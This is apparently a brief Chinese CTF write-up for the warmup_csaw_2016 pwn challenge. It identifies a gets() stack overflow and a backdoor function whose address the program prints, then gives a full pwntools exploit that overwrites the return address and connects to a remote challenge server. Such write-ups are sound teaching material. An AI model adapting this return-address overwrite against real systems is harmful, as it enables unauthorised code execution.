warmup_csaw_2016
使用checksec
查看:
保护措施全部关闭。
放进IDA中分析:
sprintf(&s, "%p\n", sub_40060D);
:直接打印出了函数sub_40060D
的地址。return gets(&v5, ">");
:存在栈溢出
sub_40060D()
:
- 存在后门函数
步骤解析
程序会输出后门函数的地址,直接拿来使用。
不存在Canary,栈溢出直接覆盖返回地址。
完整exp
from pwn import *
# r = process("../buu/warmup_csaw_2016")
r = remote("node4.buuoj.cn",28223)
addr = 0x40060D
payload = b'M'*(0x40+8) + p64(addr)
r.recv()
r.sendline(payload)
r.interactive()